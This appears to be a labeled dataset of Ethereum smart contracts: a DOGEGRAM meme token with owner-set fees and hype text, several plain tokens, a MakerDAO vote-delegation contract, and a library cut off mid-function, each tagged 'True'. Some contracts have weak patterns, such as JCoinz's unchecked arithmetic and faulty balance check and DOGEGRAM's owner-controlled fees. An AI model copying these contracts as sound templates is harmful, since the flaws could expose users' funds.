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/** *Submitted for verification at Etherscan.io on 2022-03-28 */ /** Dogger could replace Twitter, Dogebook could be a alternative Facebook. From a degenerate for degenerates, time to return to the community that pumped my dogger bags! DogeGram could be the one true gem for all those who missed the previous. Make a community telegram, and I'll be in there with proof of ownership. **/ // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract DOGEGRAM is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("DOGEGRAM", "DOGEGRAM") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 15; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 15; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 25_000_000 * 1e18; maxWallet = 50_000_000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x1cdb6d3Cd439a3258CDa5A2616C5ae5843176511); // set as marketing wallet devWallet = address(0x1cdb6d3Cd439a3258CDa5A2616C5ae5843176511); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableSomething() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000 ) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
True
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/** *Submitted for verification at Etherscan.io on 2022-03-25 */ pragma solidity ^0.4.26; contract SafeMath { function safeAdd(uint256 a, uint256 b) public pure returns (uint256 c) { c = a + b; require(c >= a); } function safeSub(uint256 a, uint256 b) public pure returns (uint256 c) { require(b <= a); c = a - b; } function safeMul(uint256 a, uint256 b) public pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint256 a, uint256 b) public pure returns (uint256 c) { require(b > 0); c = a / b; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract NV_Google is Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "GOOGLn"; name = "NV Google"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() external constant returns (uint256) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) external constant returns (uint256 balance) { return balances[tokenOwner]; } function transfer(address to, uint256 tokens) external returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) external returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint256 tokens) external returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) external constant returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () external payable { revert(); } function transferAnyERC20Token(uint256 tokens) external onlyOwner returns (bool success) { return this.transfer(owner, tokens); } }
True
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/** *Submitted for verification at Etherscan.io on 2021-08-02 */ // hevm: flattened sources of src/VoteDelegateFactory.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity =0.6.12; ////// src/VoteDelegate.sol // Copyright (C) 2021 Dai Foundation // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. // VoteDelegate - delegate your vote /* pragma solidity 0.6.12; */ interface TokenLike_1 { function approve(address, uint256) external returns (bool); function pull(address, uint256) external; function push(address, uint256) external; } interface ChiefLike_1 { function GOV() external view returns (TokenLike_1); function IOU() external view returns (TokenLike_1); function lock(uint256) external; function free(uint256) external; function vote(address[] calldata) external returns (bytes32); function vote(bytes32) external; } interface PollingLike { function withdrawPoll(uint256) external; function vote(uint256, uint256) external; function withdrawPoll(uint256[] calldata) external; function vote(uint256[] calldata, uint256[] calldata) external; } contract VoteDelegate { mapping(address => uint256) public stake; address public immutable delegate; TokenLike_1 public immutable gov; TokenLike_1 public immutable iou; ChiefLike_1 public immutable chief; PollingLike public immutable polling; uint256 public immutable expiration; event Lock(address indexed usr, uint256 wad); event Free(address indexed usr, uint256 wad); constructor(address _chief, address _polling, address _delegate) public { chief = ChiefLike_1(_chief); polling = PollingLike(_polling); delegate = _delegate; expiration = block.timestamp + 365 days; TokenLike_1 _gov = gov = ChiefLike_1(_chief).GOV(); TokenLike_1 _iou = iou = ChiefLike_1(_chief).IOU(); _gov.approve(_chief, type(uint256).max); _iou.approve(_chief, type(uint256).max); } function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "VoteDelegate/add-overflow"); } modifier delegate_auth() { require(msg.sender == delegate, "VoteDelegate/sender-not-delegate"); _; } modifier live() { require(block.timestamp < expiration, "VoteDelegate/delegation-contract-expired"); _; } function lock(uint256 wad) external live { stake[msg.sender] = add(stake[msg.sender], wad); gov.pull(msg.sender, wad); chief.lock(wad); iou.push(msg.sender, wad); emit Lock(msg.sender, wad); } function free(uint256 wad) external { require(stake[msg.sender] >= wad, "VoteDelegate/insufficient-stake"); stake[msg.sender] -= wad; iou.pull(msg.sender, wad); chief.free(wad); gov.push(msg.sender, wad); emit Free(msg.sender, wad); } function vote(address[] memory yays) external delegate_auth live returns (bytes32 result) { result = chief.vote(yays); } function vote(bytes32 slate) external delegate_auth live { chief.vote(slate); } // Polling vote function votePoll(uint256 pollId, uint256 optionId) external delegate_auth live { polling.vote(pollId, optionId); } function votePoll(uint256[] calldata pollIds, uint256[] calldata optionIds) external delegate_auth live { polling.vote(pollIds, optionIds); } }
True
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pragma solidity ^0.4.11; interface IERC20 { function totalSupply () constant returns (uint256 totalSuppy); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract JCoinz is IERC20 { uint public constant _totalSupply = 1000000000000000000000000000000000; string public constant symbol ="JCZ"; string public constant name = "JCoinz"; uint8 public constant decimals = 18; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function JCoinz() { balances[msg.sender] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances [_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require ( balances [msg.sender] >= _value && _value > 0 ); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances [_from] > _value && _value > 0 ); balances[_from] -= _value; balances[_to] += _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed [_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
True
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pragma solidity 0.4.16; library CommonLibrary { struct Data { mapping (uint => Node) nodes; mapping (string => uint) nodesID; mapping (string => uint16) nodeGroups; uint16 nodeGroupID; uint nodeID; uint ownerNotationId; uint addNodeAddressId; } struct Node { string nodeName; address producer; address node; uint256 date; bool starmidConfirmed; address[] outsourceConfirmed; uint16[] nodeGroup; uint8 producersPercent; uint16 nodeSocialMedia; } function addNodeGroup(Data storage self, string _newNodeGroup) returns(bool _result, uint16 _id) { if (self.nodeGroups[_newNodeGroup] == 0) { _id = self.nodeGroupID += 1; self.nodeGroups[_newNodeGroup] = self.nodeGroupID; _result = true; } } function addNode( Data storage self, string _newNode, uint8 _producersPercent ) returns (bool _result, uint _id) { if (self.nodesID[_newNode] < 1 && _producersPercent < 100) { _id = self.nodeID += 1; require(self.nodeID < 1000000000000); self.nodes[self.nodeID].nodeName = _newNode; self.nodes[self.nodeID].producer = msg.sender; self.nodes[self.nodeID].date = block.timestamp; self.nodes[self.nodeID].starmidConfirmed = false; self.nodes[self.nodeID].producersPercent = _producersPercent; self.nodesID[_newNode] = self.nodeID; _result = true; } else _result = false; } function editNode( Data storage self, uint _nodeID, address _nodeAddress, bool _isNewProducer, address _newProducer, uint8 _newProducersPercent, bool _starmidConfirmed ) returns (bool) { if (_isNewProducer == true) { self.nodes[_nodeID].node = _nodeAddress; 